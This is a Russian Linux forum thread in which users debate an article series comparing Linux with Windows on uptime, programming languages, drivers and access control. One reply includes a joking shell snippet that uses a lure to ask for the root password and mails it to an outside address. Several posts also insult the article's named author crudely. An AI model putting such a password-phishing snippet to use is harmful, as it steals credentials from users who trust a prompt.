LINUX.ORG.RU

Re: Серия статей о Линуксе

Ну всё, меня заклинило, буду придираться ;) Без обид, хорошо?

> Еще это значит, что на равноценных задачах и железе, линукс показывает
> бОльшую производительность и скорость работы. Лучшую многозадачность и
> хорошую масштабируемость.

Ну если клиенту нужен MS SQL сервер, то в линуксе под вайном он вряд ли уделает какой-нть виндовс, я думаю... Ну это такой дурацкий пример, но можно еще много похожих придумать ;)

Часто задачи оказываются комплексными и низзя вдруг сказать что мы больше не пришем на C# под MS SQL, а все дружно ломомся на SUN ONE + Oracle... А по частям плохо получится... трудоёмко...

Lexa ()

Re: Серия статей о Линуксе

Остапа (меня) несло ;)

> Для windows серверов, напротив, uptime не превышает недели.
> Делайте выводы...

Вот тут интересный пример, правда виновные еще не найдены ;)

http://www.it-ru.de/forum/viewtopic.php?t=16580

А так... Ну в принципе система, которая 100% должна быть доступна, обычно не состоит из одной машины. Не зависимо от ОС. Вдруг хардверные проблемы?

Lexa ()

Re: Серия статей о Линуксе

> Моя жена и сестра не являются специалистами по компьютерам, но тем
> не менее пользуются линуксом в полной мере.

Моя жена умоляет меня оставлять комп под Линуксом, когда я на работу ухожу - там игры интереснее ;)

Ну вот решу проблему (выше) с ослом - вааще винды лицензионные снести можно будет ;)

Lexa ()

Re: Серия статей о Линуксе

> Про С# нельзя сказать, что он вообще существует.

"Видишь суслика? А он есть!"
Так таки да, он таки существует ;) Не, на самом деле вполне приличный язык, я б даже его с удовольствием изучил в тонкостях, если была бы производственная необходимость.

Просто не стоит так уж жестко кидаться на предмет восторга опоннента (это слово так пишецца?). Ты же всю свою речь в таких умеренных тонах выдержал, а тут такое флеймообразующее заявление...

Lexa ()

Re: Серия статей о Линуксе

> С++ довольно трудно сказать, замечателен он или плох. Это просто еще
> один низкоуровневый язык с элементами ООП. Ничего сверхоригинального
> или заставляющего очертя голову бросать все и бежать на курсы по его
> изучению в нем нет.

Ну а тут ты уже куче прочего народу в душу насрал ;)

Lexa ()

Re: Серия статей о Линуксе

> Это большая проблема для программистов и мы им искренне сочувствуем.

"мы" я бы сюда ставить не стал...

> Вы можете быть уверены, что соберете у себя нужную вам программу
> в нужном вам окружении.

Независимо от версии того же gcc? А если писалось под более новую?

Lexa ()

Re: Серия статей о Линуксе

> Помимо основного языка C под Линукс существует целый зоопарк
> скриптовых языков

Вероятно тут автором вкладывается какой-то особый смысл в понятие "основной"... Типа, по его мнению, языки бывают "основными" и "скриптовыми"... Тебя это удивляет? Меня, в его интерпритации, нет ;)

Lexa ()

Re: Серия статей о Линуксе

> Соответственно нет большого смысла городить свой корявый велосипедик на RAD.

Те, кто еще остались незаплёванными, утираюцца ;)

Lexa ()

Re: Серия статей о Линуксе

> Что характерно, в связи с тем, что среда использует малознакомый для
> большинства Линукс-программистов язык Object Pascal, она дружно ими
> всеми игнорируется?

В ответ на это хамство я бы добавил вот эту ссылку:

http://www.freepascal.org/

Lexa ()

Re: Серия статей о Линуксе

Ладно, про дядю с тонной сертификатов пропустим ;) Я закончил!

С Новым Годом вас всех! Счастья и удачи!

Пойду еще пивка хлебну, а то спать как-то расхотелось уже ;)

Lexa ()
Ответ на: Re: Серия статей о Линуксе от anonymous

Re: Re: Серия статей о Линуксе

> Дяденька видимо не в курсе : VS .NET (7) работает ТОЛЬКО в ХР.Чтобы > на ней работать в других НТ надо сначала поставить туеву хучу > сервис-паков.Да.Автор прав - они идут все в комплекте.НО он не > учитывает реалий России(на которые он так упирал в вопросе о > ворованном софте).А реалии таковы что почти все дистры виндовс- > русские(у лоточников я раза 3 всего видел ангицкую). > И когда на такую в2к ставишь СП из ВС.НЕТ то он сообщает : Ставьте > на аглицкую версию или идите на х.. Ты бы бред не писал, а то народ в заблуждение вводишь похуже автора. Как по твоему я работаю больше полугода на русской Win2000 по Visual.NET и ничего он у меня при установке не спросил.

anonymous ()

Re: Серия статей о Линуксе

2Lexa А вот Interbase - в Линухе уделывает. А 2х процессорный - практически в 2раза ;) Просто Interbase/NT+2CPU работает медленнее, чем на 1м - он работу с потоками отдает на откуп ОС, а та ими весело жонглирует.

А MSSQL под Линух может и не заработать - я его под wine не пускал, не знаю. А под VMWare лучше не пробовать - дешевле выделенный сервер поставить, чем мощу машины с варей наращивать.

anonymous ()

Re: Серия статей о Линуксе

"Ты бы бред не писал, а то народ в заблуждение вводишь похуже автора. Как по твоему я работаю больше полугода на русской Win2000 по Visual.NET и ничего он у меня при установке не спросил."

Знчит уже с сервис-паком.

anonymous ()

Re: Серия статей о Линуксе

2AVL ты не прав -не во всех дистрибутивах есть кодеки-не во всех и дровишки от энвидиа (особенно что касается 3d)--- пример сьюзи 8.1--но там есть ссылки где это добро можно найти ------- а в общем твоя писуля мне понравилась.

sub ()

Re: Серия статей о Линуксе

>> Кодеки для mpeg4 есть в любом дистрибутиве линукса и проблем с
>> проигрыванием этого формата как то еще не встречалось.

>Слушай, а они часом не проприетарные?
разные. часть нативные dll, еще больше своих.
см mplayer.

Далее:

>> Драйвера nvidia входят в состав практически всех дистрибутивов
>> линукса. Как раз сейчас они позволяют мне писать эти строки.

>Опять таки простите мне мою безграмотность :)

>В состав дистрибутивов входят именно те, которые nvidia или которые nv?
оба. лицензия нвидии с некоторых пор разрешает распостранение в составе дистров.

>> Для того, чтобы вирус получил права рута, необходимо запустить
>> его с этими правами.

>А если алиас на su повесить?... ;)

это социальный хак. Можно проще:
echo "для просмотра тела Курниковой введите пароль рута:"
read pass
echo "&pass" | mail cool@com.com -s my root pass is:

>Большая часть того, что перечислено в правой колонке есть и под
>винды... Что-то я не соображу уже какие выводы из этого должны
>следовать, но похоже это должно быть важно ;)
Это здорово, что многое из этого софта можно использовать и под windows. пробуйте и осваивайте его потихоньку, без революций и катаклизмов :)
Но по боевому использовать и поддерживать систему с таким количеством навесков...

>> ALT Linux security announce list

>Не подписан, но подозреваю что не они сами ищут уязвимости.
Естественно. Я не смог бы удовлетворяться этим списком, если бы ldv плевал на информацию из багтрака, а присылал бы мне только изыскания самого альтлинукса. У меня просто нет времени на просмотр множества англоязычных первоисточников. Вполне можно пользоваться списками редхата или сусе, но мне удобнее русскоязычный альтлинукс. Экономия времени пользователя оборачивается более высоким качеством поддержки.

>Не очень удачное сравнение... Тогда уж надо брать для сравнения DOS...
DOS, это dos. Это другая система с диким количеством ограничений. сравните дос-версию регедита или scandisk и их вин-версии. Я не о кнопочках, а об ограничениях. Может быть дос юникоден? может быть он работает через фреймбуфкр? он многопользователен и безопасен или каждый в досе сам себе рут? Под дос можно посмотреть ntfs раздел?


AVL2 ★★★★★ ()

Re: Серия статей о Линуксе

>Ну если клиенту нужен MS SQL сервер, то в линуксе под вайном он вряд ли
>уделает какой-нть виндовс, я думаю... Ну это такой дурацкий пример, но
>можно еще много похожих придумать ;)
еще можно инвентор с мехсофтом прицепить. Понятно, что win-only продукты так просто не перетащить. Точно также как unix-only не перетащить обратно. Это не очевидно?

>> Про С# нельзя сказать, что он вообще существует.

>"Видишь суслика? А он есть!"

>Так таки да, он таки существует ;) Не, на самом деле вполне приличный
>язык, я б даже его с удовольствием изучил в тонкостях, если была бы
>производственная необходимость.

Что является железным критерием существования? В моем понимании, это де-юре утвержденый стандарт и хотя код, на этом языке написанный.

Я только указал, что пока что даже представители Микрософт признают, что кода на C# написано весьма немного, и стандарт не утвержден. Ничего личного...

>> С++ довольно трудно сказать, замечателен он или плох. Это просто еще
>> один низкоуровневый язык с элементами ООП. Ничего сверхоригинального
>> или заставляющего очертя голову бросать все и бежать на курсы по его
>> изучению в нем нет.

>Ну а тут ты уже куче прочего народу в душу насрал ;)
кто ищет флейма - найдет его обязательно. Я просто обозначил распостраненную позицию в противовес мнению профана.

>> Что характерно, в связи с тем, что среда использует малознакомый для
>> большинства Линукс-программистов язык Object Pascal, она дружно ими
>> всеми игнорируется?

>В ответ на это хамство я бы добавил вот эту ссылку:

>http://www.freepascal.org/
название freepascal я упомянул. ссылку? обязательно добавлю.

>2AVL ты не прав -не во всех дистрибутивах есть кодеки-не во всех и
>дровишки от энвидиа (особенно что касается 3d)--- пример сьюзи
>8.1--но там есть ссылки где это добро можно найти -------

Очевидно, что дистры могут не включать любые программы и драйвера, которые им не интересны. Комплектация конкретной суси - аргумент для сравнений между дистрами линукса, а не для данной дискуссии. Право включать эти драйвера у суси есть - остальное личное дело пользователей таких дистров.

>а в общем твоя писуля мне понравилась.
спасибо. я немножко редактирую и обновляю этот материал, так что заходите...


AVL2 ★★★★★ ()

Re: Серия статей о Линуксе

2AVL2

Просто я имел в виду, что оспаривая позицию Германа стоит основываться на более устойчивом и объективном базисе, и уж тем более избегать спорных максималистских лозунгов (как например о C++, C#, RAD), стараться предугадать возможные контраргумены (как то открытый софт под винды, багтрак, который виндузятникам никто тоже читать не запрещает) ну и т.д...

А то местами этот ответ Чемберлену оказывается так же спекулятивен, как и оригинал...

Lexa ()

Re: Серия статей о Линуксе

>максималистских лозунгов (как например о C++, C#, RAD)
я не писал ничего максималистского.
Про c++ я отметил, что на нем написаны одни из самых интересных проектов линукса.
Про С я опять таки написал, что этот язык применяется в основном на уровне ядра и модулей, и то не всегда.
Я вообще пишу в основном на питоне, но не написал ни слова про крутость именно этого языка программитрования.

Относительно C# я отметил, что пока обсуждать нечего - нравится - пользуйтесь, но не утверждайте как окончательную истину, что этот язык идеален и вообще, что он существует. Поживем - увидим. Вся мысль.

про RAD написано, что раз их мало используют, значит не сильно это надо. Но если хотите - пользуйтесь на здоровье...
Действительно дельфи/кайликс толкает на написание кривого кода. И на выходе получается монолитный уродец (особенно под линуксом). В чем тут передергивание? всего лишь констатация факта. и тут же честная ссылка на применение кайликса. Где тут ассиметрия?

>(как то открытый софт под винды, багтрак, который виндузятникам никто
> тоже читать не запрещает) ну и т.д...
Я вед рассмотрел конкретный софт, имеющийся у всех и отметил, что МС, в отличие от альтлинукса продает всего лишь loader для других приложений и значит, необходимо читать великое множество англоязычных списков для актуализации информации о закрытых продуктах вместо одного. открытый софт под винды? какова его доля на рынке windows приложений по сравнению с закрытым? Какой смысл указывать софт, о котором никто под windows и не знает?

Абсолютная справедливость и раздача всем сестрам по серьгам?
В обозримых объемах это нереально. Я просто указал на очевидное вранье и не ставил себе запредельных целей...


AVL2 ★★★★★ ()

Re: Серия статей о Линуксе

Народ успокойтесь ! Герман Иванов просто крепкую траву курит... :)))

MrBool ()

Re: Серия статей о Линуксе

Кстати, посмотрел вчера easy rider.
там народ постоянно курит и нюхает, но как Герман, не тУпит...

AVL2 ★★★★★ ()

Re: Серия статей о Линуксе

> в отличие от альтлинукса продает всего лишь loader для других
> приложений и значит, необходимо читать великое множество англоязычных
> списков для актуализации информации о закрытых продуктах вместо
> одного.

Прошу на мои слова болезненно не реагировать, но вот то что тут написано - это, как я уже писал, свойственно конкретно Альтлинуксу, а не любому наугад взятому дистрибутиву, и уж тем более не Линуксу как таковому. Так что не катит.

> Относительно C# я отметил, что пока обсуждать нечего - нравится -
> пользуйтесь, но не утверждайте как окончательную истину, что этот язык
> идеален и вообще, что он существует. Поживем - увидим. Вся мысль.

Может просто не стоит все в одну кучу валить? Ну если так хочется донести свою сокровенную мысль о никчемности СиШарпа, можно же отдельную статью написать, а не пытаться всунуть эту идею в статью, которая как бы призвана базироваться на 100% достоверной информации...

Честное слово, вероятно не я один прочитав это заявления составил тут же себе некоторое представление об уровне оголтелости автора, и остальную информацию уже воспринимал через эту призму...

Может быть ваша позиция и верна... Но это стоит обсуждать отдельно. Повоторяю - я бы не стал в эту статью вставлять настолько спорные суждения - все же предполагается что выкладки будут очевидны любому Герману...

> Я просто указал на очевидное вранье и не ставил себе запредельных
> целей...

Ну кому-то ваши смелые рассуждения на счет языков программирования в частности тоже могут показаться "очевидным враньем"... Охота подставляться? Не проще ли построить свою позицию на более общепринятой аксиоматике? Тем более что за исключением пары-тройки заскоков, она, в принципе, на ней и основана...

Lexa ()

Re: Серия статей о Линуксе

А у них там форум предмодерируемый что-ли? Или я чего не заметил?

Lexa ()
Ответ на: Re: Серия статей о Линуксе от AVL2

Re: Re: Серия статей о Линуксе

to AVL2 :

> Кстати, посмотрел вчера easy rider.
> там народ постоянно курит и нюхает, но как Герман, не тУпит...

А что ты ожидал от типичного красноглазого пионЭра Германа Иванова ? :)

MrBool ()

Re: Серия статей о Линуксе

> А что ты ожидал от типичного красноглазого пионЭра Германа Иванова? :)

Да ты чё?! Он в данных условиях типичный Капитан Америка!

Lexa ()

Re: Серия статей о Линуксе

>Прошу на мои слова болезненно не реагировать,
да я, вроде, не нервничал :)


>но вот то что тут
>написано - это, как я уже писал, свойственно конкретно Альтлинуксу, а
>не любому наугад взятому дистрибутиву,

редхат, сусе, дебиан предлагают не менее квалифицированную помощь.
я лично не пользовался их услугами и поэтому не могу от своего лица вещать конкретно об этих услугах. Но это же общеизвестное положение дел.

> и уж тем более не Линуксу как таковому. Так что не катит.
линукса, как такового, не существует. всегда имеешь дело с конкретной реализацией конкретной команды (иногда командой в своем лице :).
так что говорим о возможностях - говорим о командах...

>Ну кому-то ваши смелые рассуждения на счет языков программирования в
>частности тоже могут показаться "очевидным враньем"... Охота
>подставляться? Не проще ли построить свою позицию на более
>общепринятой аксиоматике? Тем более что за исключением пары-тройки
>заскоков, она, в принципе, на ней и основана...

возможно и даже скорее всего вы правы. я подумаю над этим.


AVL2 ★★★★★ ()

Re: Серия статей о Линуксе

>> А что ты ожидал от типичного красноглазого пионЭра Германа Иванова? :)

>Да ты чё?! Он в данных условиях типичный Капитан Америка!
да не. он скорее похож на того хипаря, который "я из города, и поэтому я здесь, а не в городе..."

AVL2 ★★★★★ ()

Re: Серия статей о Линуксе

;)

Кстати, смеху ради можено вспомнить одну мою статью... года так 1999го, наверна... Правда нормально отредактированый вариант ее у меня не сохранился, а то что гуляет по интернету - это какой-то промежуточный снапшот (так что там туева хуча ошибок). Эта статья была опубликована в журнале Inter.Net. Предполагалось превратить это в цикл статей, но как-то все заглохло...

Вот одна из ссылочек:

http://wwc.ru/index.php?act=ST&f=8&t=30

Lexa ()

Re: Серия статей о Линуксе

пасиб за предложение .обязательно буду заходить. :-)

sub ()

Re: Серия статей о Линуксе

> пасиб за предложение .обязательно буду заходить. :-)

В общем не вполне понятно к чему это, но будете у нас на Колыме, заходите ;)

ПС: С НГ!

Lexa ()

Re: Серия статей о Линуксе

windows 4ever. линукси на мыло.

anonymous ()

Re: Серия статей о Линуксе

А не пора ли прекратить эту дискуссию.. Друг-друга мы уже убедили что Линух самая осистая ось в мире.. А Германа и убеждать бессмысленно..

А что касается: "молодежь почитает это и сделает неправильные выводы" - то, что тут можно сказать.. Те у кого мозги есть и руки растут откуда положено, при наличие в окружении 1-2 юниксистов, сами скорее всего к Unix-like or GNU-based придут.. А остальным что, либо обьяснять бессмысленно и глупо, т.к. секретутке все равно под чем кнопочки давить и солитер разбирать.. А остальным - ну здесь все таки мозгами крутить надо, а под виндами хорошо, там мелкомягкие "обо всем позаботились"..

dead_knight ()

Re: Серия статей о Линуксе

По непроверенным слухам на улицах города замечен некий Герман Иванов с плакатом "Пишу критические статьи за еду".

anonymous ()

Re: Серия статей о Линуксе

> windows 4ever. линукси на мыло.

Для таких как ты - пусть конечно будет windows forever - сами со своей виндой трахайтесь, а с применением Linux мы как-нибудь сами разберемся.

anonymous ()

Re: Серия статей о Линуксе

2 Finder: Говном плюется прежде всего Г. Иванов - "программер, автоматизатор и сервисный инженер". Причем плюется прямо со со страниц СМИ в неокрепшие мозги юзеров потенциально снижая тем самым динамику развития всего linux-сообщества. А я просто охреневаю от этого, вот и все.

2 Виндузятник: А вам батенька хочется сказать только одно: go home ! Идите на свой microsoft.ru и портите воздух там, а сюда не надо свои испражнения приносить. Мне знаете как-то не приходило в голову специально и целеноправлено заходить на сайты масдайцев и поливать их грязью. Не страдаю я этим, чего и вам желаю !

Fidoman.

anonymous ()

Re: Серия статей о Линуксе

Пора открывать сезон охоты на германов, а то расплодилось их, гадят везде, и вообще даешь шкурки германов по сходной цене!!!!

anonymous ()

Re: Серия статей о Линуксе

Да кстати. Забыл сказать. Я распечатал тов иванова статью и с удовольствием подтерся. И вам советую ;) Незабываемое чуство после прочтения всех этих постов.

anonymous ()

Re: Серия статей о Линуксе

http://www.wasm.ru/article.php?article=1014001

читаем и проникаемся духом великого Дао. :) Интересная статья как раз о методах "заработка" Гейтса.

anonymous ()

Re: Серия статей о Линуксе

для anonymous (*) (2002-12-27 18:15:04.51) >Где можно их найти для чипа конехстант модема софтового акорп?Только >что с сайта производителя чипов - там ни слова об этом ...: >an-ha

http://www.mbsi.ca/cnxtlindrv/hcf/install.html

aka_slon ()

Re: к писульке нумер 3

Забавно... Я НЕ ВЫКАЧИВАЛ свой RH7.3 Valhalla из инета. Честно! Я его купил в онлайн-магазине за вполне приемлимую сумму примерно в 250 рублей (русских!!!). Честно заплатил, ничего не украв, и получил _лицензионный_ софт в красивой коробочке. Ну не фирменная коробочка, ну и что? Выбор есть - хочешь коробку, наклейки и книжки - плати большие баксы, не хочешь - плати разумную сумму в рублях. В чем тут проблема? Другой вариант - мне нужен на работе(!) дополнительный почтовый сервак, я решил остановиться на Слаке. Да я ее скачал. Да я унес ее домой, переписав на болванку. Но я выполнил свою задачу - сервак работает замечательно, и ничто мне не мешает теперь сделать копию дистра и поставить его где мне угодно! Мне уже не смешно читать подобный бред. Достало. Таких писак по инету толпы.. И все одну и ту же чушь пишут. Причем периодически проглядывают некие утверждения, которые я явно уже где-то видел.... и у кого же это? Что-то вроде "Линукс - это дорого! Линукс - это тех. поддержка за бешеные деньги!"... Эхх... Никак не могу вспомнить! ;)) <http://www.microsoft.com/rus/windows2000/migration/unix/linux_report.asp>;

======= С недоумением, DruiD

DruiD ()

Re: Серия статей о Линуксе

2 Fidoman.
А вам, батенька, свои бы советы оставить при себе. И не портить воздух тут.
Виндузятник

anonymous ()

Re: Серия статей о Линуксе

Парни очем вы говорите? Вот смотрите: Чем пользуются бухгалтера чаще всего? Правильно: 1С. Продолжать не буду. 2. А теперь, прошу не ругать меня, но я посягну на главный козырь (почти святое) этой, без сомнения, замечательной операционной системы - администрирование. А именно есть 4 юзера -1,2,3,4. 1(бухгалтер) - должен предоставить доступ: полный - 2(началство), просмотр - 3 (Главный бухгалтер), нет доступа - 3(прочие), нет доступа - 3(Администратор). Ну и как боротся с этой проблемой? Для меня ответ очевиден - ACL . Но в Linux его нет. Ест какое то "преданиение давно забитых дней" - < пользователь - группа пользователя - все остальные >. Которое, по моему мнению, не выдерживает никакой критики.

P.S. В Solaris и SCO Unix от архаичного правила отказались в пользу ACL.

С уважением, Евгений.

anonymous ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.